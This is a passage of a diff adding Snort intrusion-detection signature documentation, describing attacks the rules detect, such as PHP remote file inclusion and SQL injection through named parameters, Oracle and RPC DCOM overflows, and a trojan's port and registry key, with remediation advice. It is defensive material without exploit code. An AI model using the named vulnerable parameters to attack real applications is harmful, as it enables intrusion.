+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1968.txt
+++ snort-2.8.5.2/doc/signatures/1968.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1968
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2616.txt
+++ snort-2.8.5.2/doc/signatures/2616.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2616
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "grant_surrogate_repcate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "userid" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/580.txt
+++ snort-2.8.5.2/doc/signatures/580.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+580
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nisd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nisd is using.  Attackers can also learn what versions of the nisd protocol are accepted by nisd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nisd run.  The nisd RPC service implements Network Information Systems (NIS and NIS+).  NIS and NIS+ provide centralized management and distribution of information about resources, such as users and hosts, in a network domain.  A buffer overflow exists because of improper bounds checking, which can lead to execution of arbitrary commands on the host. 
+
+--
+Affected Systems:
+Solaris 2.3 - 2.6 hosts running NIS+.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nisd runs.  This may be a precursor to accessing nisd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nisd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nisd, not probes of the nisd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nisd service itself. An attacker may attempt to go directly to the nisd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/677
+
+CERT
+http://www.cert.org/advisories/CA-98.06.nisd.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS21
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2148.txt
+++ snort-2.8.5.2/doc/signatures/2148.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 2148
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the BLNews php application. 
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability in the BLNews PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL, the script is processed and executed with the privileges of the user running the webserver.
+
+--
+Affected Systems:
+Any host using BLNews.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7677
+
+--
--- snort-2.8.5.2.orig/doc/signatures/145.txt
+++ snort-2.8.5.2/doc/signatures/145.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+145
+
+--
+Summary:
+Girlfriend is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry. When first executed the Trojan replicates itself and in most cases, gives the copy the name Windll.exe. This file is located in the <drive>:\windows\ directory.
+
+The Trojan server opens port 21554 by default. This port may be changed by the attacker's client after initial connection.
+
+	SID	Message
+	---	-------
+	145	GirlFriendaccess
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
+
+Registry keys added:
+
+	Windll.exe
+
+Removal of the file Windll.exe is required. Also end the process Windll.exe.
+
+A machine reboot may be required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS98
+
+Dark-e
+http://www.dark-e.com/archive/trojans/girl/135/index.shtml
+
+NTSecurity.net
+http://www.ntsecurity.net/Panda/Index.cfm?FuseAction=Virus&VirusID=400
+
+--
--- snort-2.8.5.2.orig/doc/signatures/845.txt
+++ snort-2.8.5.2/doc/signatures/845.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+845
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000385.txt
+++ snort-2.8.5.2/doc/signatures/100000385.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000385
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ottoman" application running on a webserver. Access to the file "error.php" using a remote file being passed as the "default_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "default_path" parameter in the "error.php" script used by the "Ottoman" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ottoman
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3330.txt
+++ snort-2.8.5.2/doc/signatures/3330.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3330
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000702.txt
+++ snort-2.8.5.2/doc/signatures/100000702.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000702
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Webvizyon" application running on a webserver. Access to the file "SayfalaAltList.asp" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "SayfalaAltList.asp" script used by the "Webvizyon" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Webvizyon
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1917.txt
+++ snort-2.8.5.2/doc/signatures/1917.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1917
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain which ports a host may be listening on, whether or not the ports are filtered by a firewall and if the host is vulnerable to a particular exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker may determine if UPnP is enabled on a host and then attempt
+to exploit a known vulnerability in the service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2206.txt
+++ snort-2.8.5.2/doc/signatures/2206.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2206
+
+--
+Summary:
+This event is generated when an attempt is made to access ezman.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in EasyBoard 2000 1.27.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+EasyBoard 2000 (EZBoard) is CGI-based bulletin board software for web servers. It contains a vulnerability that allows a malicious user to craft an HTTP request that causes a buffer overflow condition on the web server, and can overwrite system memory with data included in the URL. This enables the attacker to execute arbitrary code on the server with the security context of the web server.
+
+
+--
+Affected Systems:
+Systems running EasyBoard 2000 1.27.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to ezman.cgi on a vulnerable web server, creating a buffer overflow condition. The attacker is then able to execute arbitrary code with the security context of the web server. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses ezman.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched by the vendor. However, Jin Ho Yu has submitted a third-party fix to the Bugtraq list. See http://marc.theaimsgroup.com/?l=bugtraq&m=101345069220199&w=2 for ezboard-fix.pl. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4068
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000817.txt
+++ snort-2.8.5.2/doc/signatures/100000817.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000817
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SMF Forum" application running on a webserver. Access to the file "smf.php" using a remote file being passed as the "mosConfig_absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mosConfig_absolute_path" parameter in the "smf.php" script used by the "SMF Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SMF Forum
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2622.txt
+++ snort-2.8.5.2/doc/signatures/2622.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2622
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "drop_an_object" procedure contains a programming error
+that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the third variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/795.txt
+++ snort-2.8.5.2/doc/signatures/795.txt
@@ -0,0 +1,62 @@
+
+Rule:  
+
+--
+Sid:
+795
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a text - e.g. loveletter.txt.vbs gets displayed as
+loveletter.txt but is a visual basic script and not a plain text.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.8.5.2.orig/doc/signatures/507.txt
+++ snort-2.8.5.2/doc/signatures/507.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+507
+
+--
+Summary:
+This event is generated when an attempt is made to gain administrative 
+rights to a PC running pcAnywhere
+
+--
+Impact:
+Serious. By the very nature of pcAnywhere, without a strong administrative
+password, a successful attack will allow the attacker to gain total 
+control of the machine.
+
+--
+Detailed Information:
+pcAnywhere is a remote control administrative software package produced 
+by Symantec (http://www.symantec.com/pcanywhere/Consumer/features.html) 
+it allows control of a system via network or RAS connection.
+
+--
+Affected Systems:
+	Windows XP Home and Professional
+	Windows 2000 Professional/Server
+	Windows NT Workstation and Server 4.0
+	Windows 98/Me
+
+--
+Attack Scenarios:
+With a copy of pcAnywhere, and attacker can scan a network (port 22) or
+war-dial a series of modems, looking for pcAnywhere signatures.
+
+--
+Ease of Attack:
+Simple. All that is required is an install of pcAnywhere and a host
+to connect to.
+
+--
+False Positives:
+Since pcAnywhere uses the same port as SSH (22) a simple open port scan 
+can show hosts that my not have pcAnywhere installed
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure only servers and workstations that require remote control have
+pcAnywhere installed.
+Make sure that a strong password is required for any level of access, 
+this ideally should be coupled with some for of alternate 
+authentication, such as SecurID, modem callback or be blocked at the 
+external firewall so that the remote control functionality is only 
+available on the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+Symantec PC Anywhere Home Page
+http://www.symantec.com/pcanywhere/Consumer/
+
+RSA:
+RSA SecurID (www.rsasecurity.com/products/securid/)
+
+Arachnids:
+http://www.whitehats.com/info/IDS240
+
+--
--- snort-2.8.5.2.orig/doc/signatures/887.txt
+++ snort-2.8.5.2/doc/signatures/887.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+887
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+WWW-SQL:
+http://grox.net/doc/web/www-sql.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2659.txt
+++ snort-2.8.5.2/doc/signatures/2659.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2659
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000859.txt
+++ snort-2.8.5.2/doc/signatures/100000859.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000859
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "hidemail" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "hidemail" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1106.txt
+++ snort-2.8.5.2/doc/signatures/1106.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1106
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
